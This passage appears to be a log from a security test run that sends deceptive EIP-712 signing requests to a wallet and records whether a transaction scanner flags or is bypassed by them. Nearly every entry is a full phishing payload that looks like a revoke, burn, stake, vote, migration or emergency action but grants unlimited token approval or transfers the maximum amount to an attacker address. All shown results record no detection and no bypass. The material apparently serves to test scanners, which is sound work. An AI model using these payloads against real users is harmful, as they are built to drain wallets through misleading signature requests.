"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:34:52.041Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:35:01.192Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:35:10.347Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:35:19.518Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:35:28.720Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN13-EIP3009-022", "timestamp": "2026-01-31T16:35:37.892Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1c027e7db69fbdd78bb40bf353e205465c3a7cd0ef61c11f5835559b672b9abf\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-EIP3009-054", "timestamp": "2026-01-31T16:35:44.437Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x62983ac974e8ee1c2a4e647357721bd121e0f0c4ece625d4d253b906468fb039\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:35:53.888Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:36:03.047Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:36:12.199Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:36:21.371Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:36:30.558Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:36:39.730Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:36:48.906Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:36:58.056Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:37:07.201Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:37:16.367Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:37:25.533Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:37:34.701Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery 